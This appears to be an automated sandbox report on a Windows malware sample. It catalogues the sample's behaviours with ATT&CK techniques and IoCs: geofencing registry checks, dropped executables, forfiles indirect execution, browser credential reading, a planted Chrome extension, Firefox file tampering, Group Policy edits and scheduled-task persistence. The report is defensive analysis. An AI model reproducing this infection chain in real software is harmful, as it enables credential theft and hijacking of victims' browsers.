649c75d99b6d8e237d8a8d0142796fcbfa7381674628201f474b58039144ec2a

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Install.exesZUqqiF.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	sZUqqiF.exe

Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeNqMXJFu.exesZUqqiF.exe

pid process

1184 Install.exe
2908 Install.exe
1804 NqMXJFu.exe
3596 sZUqqiF.exe
Indirect Command Execution 1 TTPs 2 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
defense_evasion

Indirect Command Execution
T1202

Processes:

forfiles.exeforfiles.exe

pid process

1808 forfiles.exe
5092 forfiles.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1260 rundll32.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
1184	Install.exe
2908	Install.exe
1804	NqMXJFu.exe
3596	sZUqqiF.exe

pid	process
1808	forfiles.exe
5092	forfiles.exe

pid	process
1260	rundll32.exe

Drops Chrome extension 1 IoCs

Processes:

sZUqqiF.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	sZUqqiF.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

sZUqqiF.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini sZUqqiF.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	sZUqqiF.exe

Drops file in System32 directory 29 IoCs

Processes:

NqMXJFu.exesZUqqiF.exepowershell.exeInstall.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	NqMXJFu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1DEB6997DB25CE8EC844B742DDA6F019	sZUqqiF.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	sZUqqiF.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7	sZUqqiF.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	NqMXJFu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1DEB6997DB25CE8EC844B742DDA6F019	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_97769FA94627046053C91C794A3C7311	sZUqqiF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_CD08734C3F770C014F2620E6CA4CE9C7	sZUqqiF.exe

Drops file in Program Files directory 14 IoCs

Processes:

sZUqqiF.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	sZUqqiF.exe
File created	C:\Program Files (x86)\ZUXSmeDRU\yIUWSXY.xml	sZUqqiF.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	sZUqqiF.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	sZUqqiF.exe
File created	C:\Program Files (x86)\UBqYudvSNocU2\raLjZBNVzErJa.dll	sZUqqiF.exe
File created	C:\Program Files (x86)\UBqYudvSNocU2\GDLRUEu.xml	sZUqqiF.exe
File created	C:\Program Files (x86)\xonCRuklPFipnPeqKpR\AOxiUtC.xml	sZUqqiF.exe
File created	C:\Program Files (x86)\ZUXSmeDRU\ajBVEJ.dll	sZUqqiF.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	sZUqqiF.exe
File created	C:\Program Files (x86)\xonCRuklPFipnPeqKpR\WRIReFH.dll	sZUqqiF.exe
File created	C:\Program Files (x86)\oXjeNNLqKAotC\auuzqaM.dll	sZUqqiF.exe
File created	C:\Program Files (x86)\oXjeNNLqKAotC\EDrfkcp.xml	sZUqqiF.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	sZUqqiF.exe
File created	C:\Program Files (x86)\RqtPwFqMTiUn\vxcjlpT.dll	sZUqqiF.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bKwcWZekAnYWEgmozo.job	schtasks.exe
File created	C:\Windows\Tasks\MFUxwpyluZmBswWip.job	schtasks.exe
File created	C:\Windows\Tasks\SEVCueFJyRflUhU.job	schtasks.exe
File created	C:\Windows\Tasks\NGWtXtGwgKKYsphzV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exereg.execmd.exereg.exesZUqqiF.exeschtasks.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execmd.exereg.exereg.exereg.exeschtasks.exeInstall.exeschtasks.exereg.exereg.exepowershell.exeschtasks.execmd.execmd.exereg.exereg.exeschtasks.exereg.exereg.exereg.exeschtasks.execmd.exereg.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exereg.exereg.exereg.exereg.exereg.exeforfiles.exereg.exeschtasks.exepowershell.exereg.exereg.exereg.exereg.exereg.exereg.exeschtasks.exeschtasks.exereg.exereg.exeschtasks.exeschtasks.exeNqMXJFu.exereg.exereg.exereg.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sZUqqiF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NqMXJFu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exesZUqqiF.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	sZUqqiF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	sZUqqiF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0576a638-0000-0000-0000-d01200000000}	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0576a638-0000-0000-0000-d01200000000}\MaxCapacity = "14116"	sZUqqiF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0576a638-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	sZUqqiF.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "3"	sZUqqiF.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	sZUqqiF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1356	schtasks.exe
3636	schtasks.exe
3180	schtasks.exe
2288	schtasks.exe
1260	schtasks.exe
4456	schtasks.exe
1244	schtasks.exe
2160	schtasks.exe
3928	schtasks.exe
4480	schtasks.exe
3120	schtasks.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXEsZUqqiF.exe

pid	process
1616	powershell.EXE
1616	powershell.EXE
2928	powershell.exe
2928	powershell.exe
1816	powershell.exe
1816	powershell.exe
2104	powershell.EXE
2104	powershell.EXE
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe
3596	sZUqqiF.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1616	powershell.EXE
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	2104	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exeInstall.exeInstall.exeforfiles.execmd.exeforfiles.execmd.exepowershell.EXENqMXJFu.exepowershell.execmd.exe

description	pid	process	target process
PID 1448 wrote to memory of 1184	1448	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	Install.exe
PID 1448 wrote to memory of 1184	1448	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	Install.exe
PID 1448 wrote to memory of 1184	1448	8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe	Install.exe
PID 1184 wrote to memory of 2908	1184	Install.exe	Install.exe
PID 1184 wrote to memory of 2908	1184	Install.exe	Install.exe
PID 1184 wrote to memory of 2908	1184	Install.exe	Install.exe
PID 2908 wrote to memory of 1808	2908	Install.exe	forfiles.exe
PID 2908 wrote to memory of 1808	2908	Install.exe	forfiles.exe
PID 2908 wrote to memory of 1808	2908	Install.exe	forfiles.exe
PID 2908 wrote to memory of 5092	2908	Install.exe	forfiles.exe
PID 2908 wrote to memory of 5092	2908	Install.exe	forfiles.exe
PID 2908 wrote to memory of 5092	2908	Install.exe	forfiles.exe
PID 1808 wrote to memory of 4924	1808	forfiles.exe	cmd.exe
PID 1808 wrote to memory of 4924	1808	forfiles.exe	cmd.exe
PID 1808 wrote to memory of 4924	1808	forfiles.exe	cmd.exe
PID 4924 wrote to memory of 4032	4924	cmd.exe	reg.exe
PID 4924 wrote to memory of 4032	4924	cmd.exe	reg.exe
PID 4924 wrote to memory of 4032	4924	cmd.exe	reg.exe
PID 5092 wrote to memory of 2788	5092	forfiles.exe	cmd.exe
PID 5092 wrote to memory of 2788	5092	forfiles.exe	cmd.exe
PID 5092 wrote to memory of 2788	5092	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 4492	2788	cmd.exe	reg.exe
PID 2788 wrote to memory of 4492	2788	cmd.exe	reg.exe
PID 2788 wrote to memory of 4492	2788	cmd.exe	reg.exe
PID 4924 wrote to memory of 4852	4924	cmd.exe	reg.exe
PID 4924 wrote to memory of 4852	4924	cmd.exe	reg.exe
PID 4924 wrote to memory of 4852	4924	cmd.exe	reg.exe
PID 2788 wrote to memory of 3444	2788	cmd.exe	reg.exe
PID 2788 wrote to memory of 3444	2788	cmd.exe	reg.exe
